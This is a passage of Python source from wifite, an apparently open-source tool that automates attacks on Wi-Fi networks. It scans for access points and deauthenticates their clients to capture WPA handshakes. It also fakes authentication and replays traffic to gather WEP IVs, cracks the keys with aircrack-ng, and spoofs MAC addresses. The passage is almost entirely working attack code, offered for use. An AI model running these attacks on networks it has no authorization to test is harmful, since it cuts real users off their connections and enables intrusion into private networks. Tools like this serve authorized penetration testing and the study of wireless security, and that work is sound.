subprocess.call(['rm','-rf',TEMPDIR+'wep-01.cap',TEMPDIR+'wep-01.csv',TEMPDIR+'wep-01.ivs',\ TEMPDIR+'wep-01.kismet.csv',TEMPDIR+'wep-01.kismet.netxml']) time.sleep(0.1) # grace period # start the airodump process again cmd = ['airodump-ng','-w',TEMPDIR+'wep','-c',TARGETS[index][1],'--bssid',TARGETS[index][0],\ '--output-format','csv,ivs',IFACE] proc_read = subprocess.Popen(cmd, stdout=open(os.devnull, 'w'), stderr=open(os.devnull, 'w')) if started_crack: # we already started cracking, have to continue! # remove the wep key output file, so we don't get a false-positive subprocess.call(['rm','-rf',TEMPDIR+'wepkey.txt'],stdout=open(os.devnull,'w'),\ stderr=open(os.devnull, 'w')) time.sleep(0.3) # start aircrack cmd='aircrack-ng -a 1 -l '+TEMPDIR+'wepkey.txt '+TEMPDIR+'wep-*.ivs' proc_crack = subprocess.Popen(cmd,shell=True,stdout=open(os.devnull,'w'),stderr=open(os.devnull,'w')) stop_attack=False # do NOT stop the attack! elif typed=='n': #do nothing, next attack starts regardless stop_attack=True elif typed == 's': # skip to WPA cracking! stop_attack=True SKIP_TO_WPA=True else: # 'e' or some other option stop_attack=True EXIT_PROGRAM=True else: # no reason to keep running! gtfo stop_attack=True break if WEP_MAXWAIT != 0 and (time.time() - TIME_START) >= WEP_MAXWAIT and (ivsps < 100): wcount=0 # count number of methods remaining for i in xrange(wepnum+1,len(weps)): if weps[wepnum] == True: wcount += 1 break if wcount > 0: print '\n'+R+'[+] '+wepname[wepnum]+' attack ran out of time', updatesqlstatus('[+] '+wepname[wepnum]+' attack ran out of time') # end of while loop print W # remember IVS so we don't start over from 0 again total_ivs = ivs oldivs=total_ivs # clean up # only kill aireplay because airodump=capturing and aircrack=cracking! try: os.kill(proc_replay.pid, signal.SIGTERM) # aireplay-ng except OSError: pass except UnboundLocalError: pass # remove those pesky .xor and .cap files subprocess.call('rm -rf '+TEMPDIR+'arp.cap replay_*.cap *.xor',shell=True) if stop_attack: break # break out of for-loop for each method # end of if statement (checks if we're using the current attack method) # end of for-loop through every method if stop_attack == False: # the attack stopped on it's own - ran out of time if started_crack: print GR+'[+] '+O+'attack unsuccessful!'+W+' unable to crack WEP key in time' updatesqlstatus('[+] attack unsuccessful! unable to crack WEP key in time') else: print GR+'[+] '+O+'attack unsuccessful!'+W+' unable to generate enough IVS in time' updatesqlstatus('[+] attack unsuccessful! unable to generate enough IVS in time') # kill processes try: os.kill(proc_read.pid, signal.SIGTERM) # airodump-ng os.kill(proc_crack.pid, signal.SIGTERM) # aircrack-ng os.kill(proc_replay.pid, signal.SIGTERM) # aireplay-ng except OSError: pass except UnboundLocalError: pass # if we were using intel4965, kill wpa_supplicant (attack is over) if HAS_INTEL4965: subprocess.call(['killall','wpa_supplicant'], stdout=open(os.devnull,'w'),stderr=open(os.devnull,'w')) # kill the temp file for wpa_supplicant as well subprocess.call(['rm','-rf','intel4965.tmp']) # clean up airodump subprocess.call(['rm','-rf',TEMPDIR+'wep-01.cap',TEMPDIR+'wep-01.csv',TEMPDIR+'wep-01.kismet.csv',\ TEMPDIR+'wep-01.kismet.netxml',TEMPDIR+'wep-01.ivs']) subprocess.call('rm -rf '+TEMPDIR+'wep-*.ivs', shell=True) #subprocess.call('rm -rf '+TEMPDIR+'wep-*.cap', shell=True) # change mac back if OLD_MAC != '': print GR+'[+] '+O+'changing mac back to '+GR+OLD_MAC.lower()+O+'...' subprocess.call(['ifconfig',IFACE,'down']) subprocess.call(['macchanger','-m',OLD_MAC,IFACE], stdout=open(os.devnull,'w')) subprocess.call(['ifconfig',IFACE,'up']) OLD_MAC='' print GR+'[+] '+G+'mac changed back to original address' # check if user selected to exit completely if EXIT_PROGRAM: print R+'[+] the program will now exit' print W SKIP_TO_WPA=True WPA_CRACK=[] def to_ascii(txt): """ attempts to convert the hexidecimal WEP key into ascii some passwords are stored as a string converted from hex includes the text 'contains non-printable characters' if true, or if length is not even """ if len(txt) % 2 != 0: return '[contains non-printable characters]' s='' wrong=False for i in xrange(0, len(txt), 2): ch=txt[i:i+2].decode('hex') chi=ord(ch) if chi >= 32 and chi <= 126 or chi >= 128 and chi <= 254: s=s+ch else: wrong=True if wrong == True: s=s+' [contains non-printable characters]' return s def get_ivs(filename): """ opens an airodump csv log file returns the number of IVs found in the log """ try: f = open(filename, 'r') lines=f.readlines() for line in lines: if line.find('Authentication') == -1: s = line.split(',') if (len(s) > 11): return int(s[10].strip()) f.close() except IOError: # print '[+] filenotfound' pass return -1 def attack_fakeauth_intel(index): global TARGETS, IFACE, proc_intel ssid=TARGETS[index][8] f=open('fake.conf','w') f.write('network={\n'+\ 'ssid="'+ssid+'"\n'+\ 'key_mgmt=NONE\n'+\ 'wep_key0="fakeauth"\n'+\ '}') f.close() cmd='wpa_supplicant -cfake.conf -iwlan0 -Dwext -dd' print GR+'[+] '+W+'executing command: '+G+cmd+W+'' print GR+'[+] '+W+'30-second timeout starting now...' try: proc_intel=pexpect.spawn(cmd) try: proc_intel.expect('State: ASSOCIATED -> COMPLETED', timeout=30) print GR+'[+] '+W+'received '+G+'State: ASSOCIATED -> COMPLETED'+W return True except pexpect.TIMEOUT: print R+'[+] did not receive '+O+'State: ASSOCIATED -> COMPLETED' # kill the child process try: proc_intel.close(force=True) except pexpect.ExceptionPexpect: print GR+'[+] '+W+'received '+O+'ExceptionPexpect'+W except OSError: print GR+'[+] '+W+'received '+O+'OSError'+W except OSError: print GR+'[+] '+W+'received '+O+'OSError'+W except OSError: print GR+'[+] '+W+'received '+O+'OSError'+W print R+'[!] wpa_supplicant workaround failed!' #print R+'[!] wpa_supplicant output:' #print ' ' + txt.strip().replace('\n','\n ') print W return False def attack_fakeauth(index): """ attempts to fake-authenticate with the access point (index is the index of TARGETS list) checks if SKA is required (checks if a .xor file is created) and tries to use SKA if required * SKA IS UNTESTED * returns True if it has successfully associated, False otherwise start howto: wrap it all in a loop, doesn't take longer than 1/3rd of WEP_MAXWAIT try fake auth if we fake-auth'd, great, return True if SKA is required, deauth the router, -wait to see if a .xor appears OR we get a cilent -yes if there's no ska but we couldn't fake-auth.. deauth and return False... -might make clients show up for dynamic-client-search later on """ global TARGETS, IFACE, THIS_MAC, WEP_MAXWAIT, TEMPDIR if WEP_MAXWAIT != 0: # if maxwait is not null (not endless) AUTH_MAXWAIT = WEP_MAXWAIT / 6 else: #if it's endless: give it three minutes AUTH_MAXWAIT = 60*3 START_TIME=time.time() # try to authenticate cmd = ['aireplay-ng','-1','0','-a',TARGETS[index][0],'-T','1',IFACE] #'-h',THIS_MAC,IFACE] proc_auth = subprocess.Popen(cmd, stdout=subprocess.PIPE, stderr=open(os.devnull, 'w')) proc_auth.wait() txt=proc_auth.communicate()[0] # we associated, yay! if txt.lower().find('association successful') != -1: return True # it's SKA (Shared Key Authentication). this is a BITCH elif txt.lower().find('switching to shared key') != -1 or txt.lower().find('rejects open-system') != -1: print GR+'['+get_time(AUTH_MAXWAIT,START_TIME)+'] '+O+'switching to shared key authentication...' faked=False cmd='aireplay-ng -1 1 -a '+TARGETS[index][0]+' -T 2 '+IFACE+' > '+TEMPDIR+'temp.txt' proc_auth = subprocess.Popen(cmd,shell=True) # we need to loop until we get a .xor file, then fake-auth using the .xor file, and boom we're done while time.time() - START_TIME < (AUTH_MAXWAIT / 6): # deauth clients on the router, so they reconnect and we can get the .xor cmd = ['aireplay-ng','-0','1','-a',TARGETS[index][0],IFACE] subprocess.call(cmd, stdout=open(os.devnull,'w'), stderr=open(os.devnull,'w')) # check if we got the xor thexor='wep-01-' + TARGETS[index][0].replace(':','_') + '.xor' if os.path.exists(thexor): # we have a PRGA xor stream, tiem to replay it! cmd = ['aireplay-ng','-1','1','-a',TARGETS[index][0],'-y',thexor,'-h',THIS_MAC,IFACE] proc_auth = subprocess.Popen(cmd, stdout=subprocess.PIPE, stderr=open(os.devnull, 'w')) proc_auth.wait() # remove the xor ( don't need it now ) subprocess.call(['rm','-rf',thexor]) # read if we successfully authenticated using the .xor txt=proc_auth.communicate()[0] if txt.lower().find('association successful') != -1: faked=True else: # .xor file did not let us authenticate.. smells like a Broken SKA print R+'['+sec2hms(AUTH_MAXWAIT-(time.time()-START_TIME)) + \ '] invalid .xor file: "Broken SKA?" unable to fake authenticate :(' faked=False break # aireplay has finished elif proc_auth.poll() != None: # check output file for aireplay... tempfile= open(TEMPDIR+'temp.txt') temptxt = tempfile.read() if temptxt.lower().find('challenge failure') != -1: faked=False else: #if temptxt.lower().find('association successful') != -1: faked=True subprocess.call(['rm','-rf',TEMPDIR+'temp.txt']) break print GR+'['+get_time(AUTH_MAXWAIT, START_TIME)+'] '+W+'sent deauth; listening for client to reconnect...' time.sleep(5) # kill the aireplay instance in case it's still going try: os.kill(proc_auth.pid, signal.SIGTERM) except OSError: pass except UnboundLocalError: pass return faked return False def attack_wpa(index): """ index is the index of the TARGETS list that we are attacking opens airodump to capture whatever happens with the bssid sends deauth requests to the router (or any clients, if found) -adds clients as the attack progresses, -cycles between attacking each client indivdiually, and every client (broadcast) waits until a handshake it captured, the user hits ctrl+c, OR the timer goes past WPA_MAXWAIT """ global TARGETS, CLIENTS, IFACE, WPA_CRACK, SKIP_TO_WPA, HANDSHAKES, TEMPDIR, STRIP_HANDSHAKE # check if we already have a handshake for this SSID... temp=TARGETS[index][8].strip() temp=re.sub(r'[^a-zA-Z0-9]','',temp) if os.path.exists('hs/'+temp+'.cap'): # already have a handshake by this name... print GR+'[+] '+R+'capture aborted '+W+'because the file '+O+temp+'.cap'+G+' already exists!' print GR+'[+] '+W+'to re-capture this handshake, delete "'+O+temp+'.cap'+W+'" and run again' #print R+ '[+] '+R+'aborting handshake capture' # add the handshake to the cracking list WPA_CRACK.append(['hs/'+temp+'.cap', TARGETS[index][8], TARGETS[index][0]]) return TIME_START=time.time() cli=CLIENTS.get(TARGETS[index][0],None) if cli == None: wpa_clients=[] else: wpa_clients=[cli] wpa_client_index=0 # logit('started WPA handshake capture for "' + TARGETS[index][8] + '"') try: subprocess.call(['rm','-rf',TEMPDIR+'wpa-01.cap',TEMPDIR+'wpa-01.csv',TEMPDIR+'wpa-01.kismet.csv',\ TEMPDIR+'wpa-01.kismet.netxml']) time.sleep(0.1) cmd = ['airodump-ng','-w',TEMPDIR+'wpa','-c',TARGETS[index][1],'--bssid',TARGETS[index][0],IFACE] proc_read = subprocess.Popen(cmd, stdout=open(os.devnull, 'w'), stderr=open(os.devnull, 'w')) print GR+'['+sec2hms(WPA_MAXWAIT)+'] '+W+'starting wpa handshake capture' got_handshake=False while time.time() - TIME_START < WPA_MAXWAIT or WPA_MAXWAIT == 0: # generate command-line for deauth attack cmd = ['aireplay-ng','-0','3','-a',TARGETS[index][0]] if len(wpa_clients) > 0: # we have clients to attack! if wpa_client_index < len(wpa_clients): # index is within range, points at a real client cmd.append('-c') cmd.append(wpa_clients[wpa_client_index]) wpa_client_index+=1 #increment index if wpa_client_index > len(wpa_clients): wpa_client_index=0 # set back to zero if we go too far cmd.append(IFACE) proc_deauth = subprocess.Popen(cmd, stdout=open(os.devnull, 'w'), stderr=open(os.devnull, 'w')) proc_deauth.wait() print '\r'+GR+'['+get_time(WPA_MAXWAIT,TIME_START)+'] '+W+'sent 3 deauth packets; ', sys.stdout.flush() # check for handshake using aircrack #crack='echo "" | aircrack-ng -a 2 -w - -e "' + TARGETS[index][8] + '" '+TEMPDIR+'wpa-01.cap' #proc_crack = subprocess.Popen(crack, stdout=subprocess.PIPE, stderr=open(os.devnull, 'w'), shell=True) #proc_crack.wait() #txt=proc_crack.communicate() if has_handshake(TEMPDIR+'wpa-01.cap', TARGETS[index][8], TARGETS[index][0]): # if txt[0].find('Passphrase not in dictionary') != -1: # we got the handshake got_handshake=True # strip non alpha-numeric characters from the SSID # so we can store a 'backup' of the handshake in a .cap file temp=TARGETS[index][8] temp=re.sub(r'[^a-zA-Z0-9]','',temp) # check if the file already exists... temp2='' temp3=1 while os.path.exists('hs/'+temp+temp2+'.cap'): temp2='-'+str(temp3) temp3+=1 temp='hs/'+temp+temp2 subprocess.call(['mkdir','hs/'],stdout=open(os.devnull,'w'),stderr=open(os.devnull,'w')) time.sleep(1.0) # kill the processes try: os.kill(proc_read.pid, signal.SIGTERM) os.kill(proc_deauth.pid, signal.SIGTERM) except OSError: pass except UnboundLocalError: pass # copy the cap file for safe-keeping subprocess.call(['cp',TEMPDIR+'wpa-01.cap', temp+'.cap']) print '\r'+GR+'['+get_time(WPA_MAXWAIT,TIME_START)+ \ '] '+W+'sent 3 deauth packets; '+G+'handshake captured!'+W+' saved as "'+G+temp+'.cap'+W+'"' sys.stdout.flush() # strip handshake if user requested it if STRIP_HANDSHAKE: # check if pyrit exists proc_pyrit = subprocess.Popen(['which','pyrit'],stdout=subprocess.PIPE) if proc_pyrit.communicate()[0].strip() != '': # print/strip print GR+'['+get_time(WPA_MAXWAIT,TIME_START)+ \ '] '+G+'stripped'+W+' handshake using '+G+'pyrit'+W # should pyrit overwrite the old cap file? yes. subprocess.call(['pyrit','-r',temp+'.cap','-o',temp+'.cap','strip'],\ stdout=open(os.devnull,'w'), stderr=open(os.devnull,'w')) else: # use tshark to strip, if it exists proc_tshark = subprocess.Popen(['which','tshark'],stdout=subprocess.PIPE) if proc_tshark.communicate()[0].strip() != '': # print/strip print GR+'['+get_time(WPA_MAXWAIT,TIME_START)+ \ '] '+G+'stripped'+W+' handshake using '+G+'pyrit'+W # over-write old file subprocess.call(['tshark','-r',temp+'.cap','-R',\ 'eapol || wlan_mgt.tag.interpretation','-w',temp+'.cap.temp'],\ stdout=open(os.devnull,'w'), stderr=open(os.devnull,'w')) subprocess.call(['mv',temp+'.cap.temp',temp+'.cap']) #logit('got handshake for "'+TARGETS[index][8]+'" stored handshake in "' + temp + '.cap"') HANDSHAKES += 1 # add the filename and SSID to the list of 'to-crack' after everything's done WPA_CRACK.append([temp+'.cap', TARGETS[index][8], TARGETS[index][0]]) break else: # no handshake yet print '\r'+GR+'['+get_time(WPA_MAXWAIT,TIME_START)+'] '+W+'sent 3 deauth packets; '+O+'no handshake yet ', sys.stdout.flush() time.sleep(WPA_TIMEOUT) # check wpa-01.csv for new clients try: f=open(TEMPDIR+'wpa-01.csv','r') csv=f.read().split('\n') f.close() except Exception: pass thereyet=False for i in xrange(0, len(csv)): if csv[i].find('Station MAC,') != -1: thereyet=True elif thereyet==True: cli=csv[i].split(',') if len(cli) > 5: if cli[5].strip() == TARGETS[index][0]: # we have a client cli[0]=cli[0].strip() try: wpa_clients.index(cli[0]) except ValueError: # client not in list! add it wpa_clients.append(cli[0]) print '\r'+GR+'['+get_time(WPA_MAXWAIT,TIME_START)+\ '] '+G+'added new client: '+W+cli[0]+', '+G+'total: '+str(len(wpa_clients))+' ' if got_handshake==False: print R+'\n['+sec2hms(0)+'] unable to capture handshake in time (' + str(WPA_MAXWAIT) + ' sec)' except KeyboardInterrupt: # clean up subprocess.call(['rm','-rf',TEMPDIR+'wpa-01.cap',TEMPDIR+'wpa-01.csv',TEMPDIR+'wpa-01.kismet.csv',\ TEMPDIR+'wpa-01.kismet.netxml']) try: os.kill(proc_read.pid, signal.SIGTERM) os.kill(proc_deauth.pid, signal.SIGTERM) except OSError: pass except UnboundLocalError: pass print R+'\n['+get_time(WPA_MAXWAIT,TIME_START)+\ '] '+R+'attack on "'+O+TARGETS[index][8]+R+'" interrupted' menu='' opts='' # check if there's other targets to attack for i in xrange(0,len(ATTACK)): if index==ATTACK[i]-1: if i < len(ATTACK) - 1: # more to come opts=G+'n'+W if i == len(ATTACK)-2: menu=G+' [n]ext attack (there is 1 target remaining)\n' else: menu=G+' [n]ext attack (there are '+str(len(ATTACK)-i-1)+' targets remaining)\n' break if len(WPA_CRACK) > 0 and DICT != '' and DICT != 'none': if opts != '': opts+=',' opts+=O+'s'+W if len(WPA_CRACK) == 1: menu=menu+O+' [s]kip to the WPA cracking (you have 1 handshake to crack)\n' else: menu=menu+O+' [s]kip to the WPA cracking (you have '+str(len(WPA_CRACK))+' handshakes to crack)\n' if menu!= '': opts+=', or '+R+'e'+W menu=menu+R+' [e]xit the program completely' print GR+'\n[+] '+W+'please select a menu option below:' print menu print GR+'[+] '+W+'enter option ('+opts+W+'):'+W, typed=raw_input() if typed=='n': #do nothing, next attack starts regardless return elif typed == 's': # skip to WPA cracking! SKIP_TO_WPA=True return else: #print GR+'[+] '+R+'exiting' #subprocess.call(['rm','-rf',TEMPDIR]) #sys.exit(0) WPA_CRACK=[] # clear the wpa crack list SKIP_TO_WPA=True # skip to wpa cracking (will skip past wpa cracking) return else: # no reason to keep running! gtfo return print W # remove airodump log files subprocess.call(['rm','-rf',TEMPDIR+'wpa-01.cap',TEMPDIR+'wpa-01.csv',TEMPDIR+'wpa-01.kismet.csv',\ TEMPDIR+'wpa-01.kismet.netxml']) # try to kill all processes try: os.kill(proc_read.pid, signal.SIGTERM) os.kill(proc_deauth.pid, signal.SIGTERM) except OSError: pass except UnboundLocalError: pass def has_handshake(capfile, essid, bssid): result = False proc_pyrit = subprocess.Popen('which pyrit', stdout=subprocess.PIPE, stderr=open(os.devnull,'w'), shell=True) proc_pyrit.wait() if proc_pyrit.communicate() != '': #crack = 'pyrit -r ' + capfile + ' -o temp.cap strip' #proc_crack = subprocess.Popen(crack, stdout=subprocess.PIPE, stderr=open(os.devnull,'w'),shell=True) #proc_crack.wait() crack = 'pyrit -r '+capfile+' analyze' proc_crack = subprocess.Popen(crack, stdout=subprocess.PIPE, stderr=open(os.devnull,'w'),shell=True) proc_crack.wait() txtraw=proc_crack.communicate() txt=txtraw[0].split('\n') right_essid = False for line in txt: if line == '' or line == None: continue #print str(right_essid) + ": " + line if line.find("AccessPoint") != -1: right_essid = (line.find("('" + essid + "')") != -1) and (line.lower().find(bssid.lower())) if right_essid: if line.find(', good, ') != -1 or line.find(', workable, ') != -1 or line.find('handshake found') != -1 or line.find(', bad, ') != -1: result = True break #print '' else: crack='echo "" | aircrack-ng -a 2 -w - -e "' + TARGETS[index][8] + '" '+TEMPDIR+'wpa-01.cap' proc_crack = subprocess.Popen(crack, stdout=subprocess.PIPE, stderr=open(os.devnull, 'w'), shell=True) proc_crack.wait() txt=proc_crack.communicate() if txt[0].find('Passphrase not in dictionary') != -1: result = False else: result = True return result def get_time(maxwait, starttime): """ returns the time remaining based on maxwait and starttime returns value in H:MM:SS format """ if maxwait == 0: return 'endless' else: return sec2hms(maxwait - (time.time() - starttime)) def gettargets(): """ starts airodump-ng, outputs airodump data to 'wifite-01.csv' searches for 10 seconds if user has selected 'all' essids searches only specified channels/encryptions if specified by user waits until a certain ssid appears if specified by user otherwise, waits for ctrl+c command from user to stop then, displays the results to the user, asks for which targets to attack adds targets to ATTACK list and returns """ global IFACE, CHANNEL, TARGETS, CLIENTS, ATTACK, ESSID, TEMPDIR, USING_XTERM, TIMEWAITINGCLIENTS, SCAN_MAXWAIT TIME_START = time.time() waiting = -1 try: subprocess.call(['rm','-rf',TEMPDIR+'wifite-01.cap',TEMPDIR+'wifite-01.csv',TEMPDIR+'wifite-01.kismet.csv',\ TEMPDIR+'wifite-01.kismet.netxml']) time.sleep(0.3) cmd=['airodump-ng','-a','-w',TEMPDIR+'wifite','--output-format','csv'] if CHANNEL != '0': cmd.append('-c') cmd.append(CHANNEL) cmd.append(IFACE) proc = subprocess.Popen(cmd, stdout=open(os.devnull, 'w'), stderr=open(os.devnull, 'w')) if ESSID == '': print GR+'[+] '+W+'waiting for targets. press '+G+'Ctrl+C'+W+' when ready\n' elif ESSID == 'all' or ESSID.startswith('pow>'): time_wait=20 if CHANNEL == '0': time_wait=30 for i in xrange(time_wait, 0, -1): print GR+'\r[+] '+W+'waiting '+G+str(i)+W+' seconds for targets to appear. press '+O+'Ctrl+C'+W+' to skip the wait ', sys.stdout.flush() time.sleep(1) parsetargets() print '\n' else: print GR+'[+] '+W+'waiting for "'+G + ESSID +W+'" to appear, press '+O+'Ctrl+C'+W+' to skip...' old=0 oldc=0 while 1: time.sleep(1) parsetargets() if ESSID != '' and ESSID != 'all' and not ESSID.startswith('pow>'): if waiting==-1: for x in xrange(0, len(TARGETS)): if TARGETS[x][8].lower() == ESSID.lower(): print GR+'\n[+] '+W+'found "'+G+ESSID+W+'", waiting '+G+str(TIMEWAITINGCLIENTS)+' sec'+W+' for clients...', sys.stdout.flush() ATTACK=[x+1] waiting=0 break else: for x in xrange(0, len(TARGETS)): if TARGETS[x][8].lower() == ESSID.lower(): print GR+'\r[+] '+W+'found "'+G+ESSID+W+'", waiting '+G+str(TIMEWAITINGCLIENTS-waiting)+' sec'+W+' for clients...', waiting += 1 ATTACK=[x+1] if waiting == TIMEWAITINGCLIENTS: break if waiting == TIMEWAITINGCLIENTS: break sys.stdout.flush() else: print '\r'+GR+'['+sec2hms(time.time()-TIME_START)+ \ '] '+G+str(len(TARGETS))+W+' targets and '+G+str(len(CLIENTS))+W+' clients found', if ESSID == 'all' or ESSID.startswith('pow>'): # wait for 10 seconds, then start cracking if time.time() - TIME_START >= TIMEWAITINGCLIENTS+10: break sys.stdout.flush() if SCAN_MAXWAIT and time.time() - TIME_START >= SCAN_MAXWAIT: sys.stdout.flush() break print W os.kill(proc.pid, signal.SIGTERM) except KeyboardInterrupt: #print GR+'[+] '+O+'killing airodump-ng process (pid ' + str(proc.pid) + ') ...'+W print '' waiting=TIMEWAITINGCLIENTS try: os.kill(proc.pid, signal.SIGTERM) except UnboundLocalError: pass subprocess.call(['rm','-rf',TEMPDIR+'wifite-01.cap',TEMPDIR+'wifite-01.csv',TEMPDIR+'wifite-01.kismet.csv',\ TEMPDIR+'wifite-01.kismet.netxml']) subprocess.call('rm -rf '+TEMPDIR+'wifite-01*.xor', shell=True) if ESSID == 'all': # add all targets to the list to attack ATTACK=xrange(0, len(TARGETS)) if len(ATTACK) > 0: print GR+'[+] '+W+'targeting: ', for x in ATTACK: print '"'+G + TARGETS[x-1][8] + W+'"', print '' updatesqlstatus('[+] targeting: ' + ' '.join([TARGETS[x-1][8] for x in ATTACK])) #python list comprehension return elif ESSID.startswith('pow>'): ATTACK=[] try: power=int(ESSID[4:]) except ValueError: print R+'[!] invalid power level: ' + ESSID + '; exiting' print W return print '' for i in xrange(0, len(TARGETS)): try: if int(TARGETS[i][5]) >= power: print GR+'[+] '+W+'added to attack list: "'+G + TARGETS[i][8] + W+'" ('+G + TARGETS[i][5] + 'dB'+W+')' ATTACK.append(i+1) except ValueError: print R+'[!] invalid AP power level: '+O + TARGETS[i][5] + R+'; moving on' continue # if we didn't add any targets... if ATTACK==[]: print R+'[+] there are no targets with a power level greater than '+O + str(power) + 'dB' print R+'[+] try selecting a '+O+'lower power threshold' print W if USING_XTERM: print GR+'[!] '+W+'close this window at any time to exit wifite'+W subprocess.call(['rm','-rf',TEMPDIR]) sys.exit(0) print GR+'[+] '+G+str(len(ATTACK))+W+' access points targeted for attack' return elif ESSID != '': # see if we found the SSID we're looking for if waiting == TIMEWAITINGCLIENTS: #print '[+] found "' + ESSID + '"!' return else: print GR+'[+] '+R+'unable to find "'+O + ESSID + R+'"' print '' if len(TARGETS) == 0: print R+'[!] no targets found! make sure that '+O+'airodump-ng'+R+' is working properly' print W if USING_XTERM: print GR+'[!] '+W+'close this window at any time to exit wifite'+W else: print R+'[!] the program will now exit'+W subprocess.call(['rm','-rf',TEMPDIR]) sys.exit(0) print GR+'[+] '+W+'select the '+G+'number(s)'+W+' of the target(s) you want to attack:' for i in xrange(0, len(TARGETS)): # get power dB try: tempdb=int(TARGETS[i][5]) except ValueError: tempdb=0 chcolor='G' if (i < 9): print '', print G+str(i+1) +W+'.', if tempdb >= 55: chcolor=G elif tempdb >= 40: chcolor=O else: chcolor=R print chcolor+'"'+ TARGETS[i][8] +'"', if len(TARGETS[i][8]) >= 25: print '\t', pass elif len(TARGETS[i][8]) > 17: print '\t\t', elif len(TARGETS[i][8]) >= 9: print '\t\t\t', elif len(TARGETS[i][8].strip()) == 0: print '\t\t\t\t\t', else: print '\t\t\t\t', print '(' + TARGETS[i][5] + 'dB ', print TARGETS[i][2][:3] + ')', if CLIENTS.get(TARGETS[i][0], None) != None: print G+'*CLIENT*'+W else: print '' print GR+'\n[+] '+W+'for multiple choices, use '+C+'dashes'+W+' for ranges and '+C+'commas'+W+' to separate' print GR+'[+] '+W+'example: '+G+'1-3,5-6'+W+' would target targets numbered '+C+'1, 2, 3, 5, 6' print GR+'[+] '+W+'to attack all access points, type "'+G+'all'+W+'"'+G response = raw_input() ATTACK=stringtolist(response, len(TARGETS)) if len(ATTACK) > 0: for x in ATTACK: print GR+'[+] '+W+'adding "'+G + TARGETS[x-1][8] + W+'" to the attack list'+W def parsetargets(): """reads through 'wifite-01.csv' and adds any valid targets to the global list TARGETS """ global TARGETS, CLIENTS, WEP, WPA, TEMPDIR, CHANNEL, IFACE, NO_HIDDEN_DEAUTH, USING_XTERM DEAUTH=[] TARGETS=[] try: f = open(TEMPDIR+'wifite-01.csv', 'r') clients=False lines = f.readlines() for line in lines: if line.find('Station MAC') != -1: CLIENTS={} clients=True elif line.find('Authentication') == -1 and clients == False: # access point temp=line.split(', ') if len(temp) >= 12 and temp[len(temp)-2].split() != '': if temp[5].find('WPA') != -1 and WPA==True or \ temp[5].find('WEP') != -1 and WEP==True: # remove uneccessary data if temp[6].find(',') != -1: # need to split authentication for WPA (CCMP,PSK) temp.insert(7, temp[6][temp[6].find(',')+1:]) temp[6] = temp[6][:temp[6].find(',')] temp.pop(1) # remove date/time first seen temp.pop(1) # remove date/time last seen temp.pop(2) # remove speed temp.pop(6) # number of beacons temp.pop(7) # LAN ip temp.pop(len(temp)-1) # get rid of trailing/leading spaces temp[1] = temp[1].strip() temp[2] = temp[2].strip() temp[5] = temp[5].strip() temp[6] = temp[6].strip() temp[7] = temp[7].strip() if int(temp[5]) < 0: temp[5] = str(int(temp[5]) + 100) if int(temp[7]) == len(temp[8]) and temp[8] != '' and temp[8] != ( chr(0) * len(temp[8])): TARGETS.append(temp) elif temp[8] == ( chr(0) * len(temp[8])) and CHANNEL != '0': # it's a hidden network and we're on a fixed channel client=CLIENTS.get(temp[0],None) if client != None and NO_HIDDEN_DEAUTH==False: # we have a client, better call deauth deauth_cmd = ['aireplay-ng','-0','1','-a',temp[0],'-c',client,IFACE] DEAUTH.append(deauth_cmd) elif line.find('Station MAC') == -1 and clients == True: # client temp=line.split(',') if len(temp) > 5: #CLIENTS.append([ temp[0], temp[5] ]) if CLIENTS.get(temp[5].strip(), None) == None: CLIENTS[temp[5].strip()] = temp[0] f.close() except IOError: print R+'\n[!] the program was unable to capture airodump packets!' print R+'[+] please ensure that you have aircrack-ng v1.1 or above installed' if USING_XTERM: print GR+'[!] '+W+'close this window at any time to exit wifite'+W else: print R+'[!] the program is unable to continue and will now exit' print W subprocess.call(['rm','-rf',TEMPDIR]) sys.exit(0) # sort the targets by power TARGETS = sorted(TARGETS, key=lambda targets: targets[5], reverse=True) if len(DEAUTH) > 0: msg='[sending hidden deauth' if len(DEAUTH) > 1: msg+='s' msg+=']' print ''+O+' [sending hidden deauth] '+W, for d in DEAUTH: sys.stdout.flush() subprocess.call(d, stdout=open(os.devnull,'w'),stderr=open(os.devnull,'w')) else: print ' ', def stringtolist(s, most): """ receives string, returns list sorts low-to-high, removes duplicates, truncates anything more than 'most' 'all' returns entire list (1 to most) 'a-b' selection, separated by hyphen, adds everything between and including numbers a and b 'a,b,c' multiple selection, separated by commas, adds a b and c 'a' single selection, just the number, adds a """ lst=[] try: if s == 'all' or s == '"all"': for i in xrange(1, most+1): lst.append(i) elif s.find(',') == -1 and s.find('-') == -1: lst=[int(s)] else: sub=s.split(',') for i in sub: if i.find('-') != -1: tmp=i.split('-') for j in xrange(int(tmp[0]), int(tmp[1]) + 1): lst.append(j) else: lst.append(int(i)) except ValueError: print R+'[+] error! invalid input'+W lst = sorted(lst) # remove duplicates i = 0 while i < len(lst) - 1: if lst[i] == lst[i+1] or lst[i] > most: lst.pop(i) i -= 1 i += 1 if len(lst) == 0: return [] if lst[len(lst)-1] > most: lst.pop(len(lst)-1) return lst def datetime(): """ returns current date/time in [yyyy-mm-dd hh:mm:ss] format, used by logit() """ return '[' + time.strftime("%Y-%m-%d %H:%M:%S") + ']' def sec2hms(sec): """ converts seconds to h:mm:ss format""" if sec < 0: return '0:00:00' s = int(sec) h=int(s/3600) s=s%3600 m=int(s/60) s=s%60 result='' + str(h) + ':' if m < 10: result += '0' result += str(m) + ':' if s < 10: result += '0' result += str(s) return result def random_mac(): """ generates a random mac address not *too* random, chances of it being from an actual vendor are likely """ # ranges used: # 00-00-00 -> 00-27-FF ALL # 00-30-00 -> 00-E0-FF (00-X0-XX) lst=['0','1','2','3','4','5','6','7','8','9','A','B','C','D','E','F'] if random.randint(0,1) == 0: result = '00:' temp = str(random.randint(0,27)) if len(temp) == 1: temp='0'+temp result+=temp+':' for i in xrange(0,8): result+=lst[random.randint(0,15)] if i % 2 == 1 and i < 7: result+=':' else: result='00:' + lst[random.randint(3,14)] + '0:' for i in xrange(0,8): result+=lst[random.randint(0,15)] if i % 2 == 1 and i < 7: result+=':' return result main() # launch the main method subprocess.call(['rm','-rf',TEMPDIR]) subprocess.call('rm -rf /tmp/wifite*', shell=True, stdout=open(os.devnull,'w'),stderr=open(os.devnull,'w')) # helpful diagram! # TARGETS list format # ['XX:XX:XX:XX:XX:XX', '1', 'WPA2WPA', 'CCMP', 'PSK', '48', '0', '11', 'Belkin.A38E'] # BSSID, CHANNEL, ENC, CYPH, ??, POWER,IVS,SSID_LEN, SSID # 0 1 2 3 4 5 6 7 8
119,239
Python
.py
3,018
34.909874
246
0.628291
pwnieexpress/raspberry_pwn
1,024
184
8
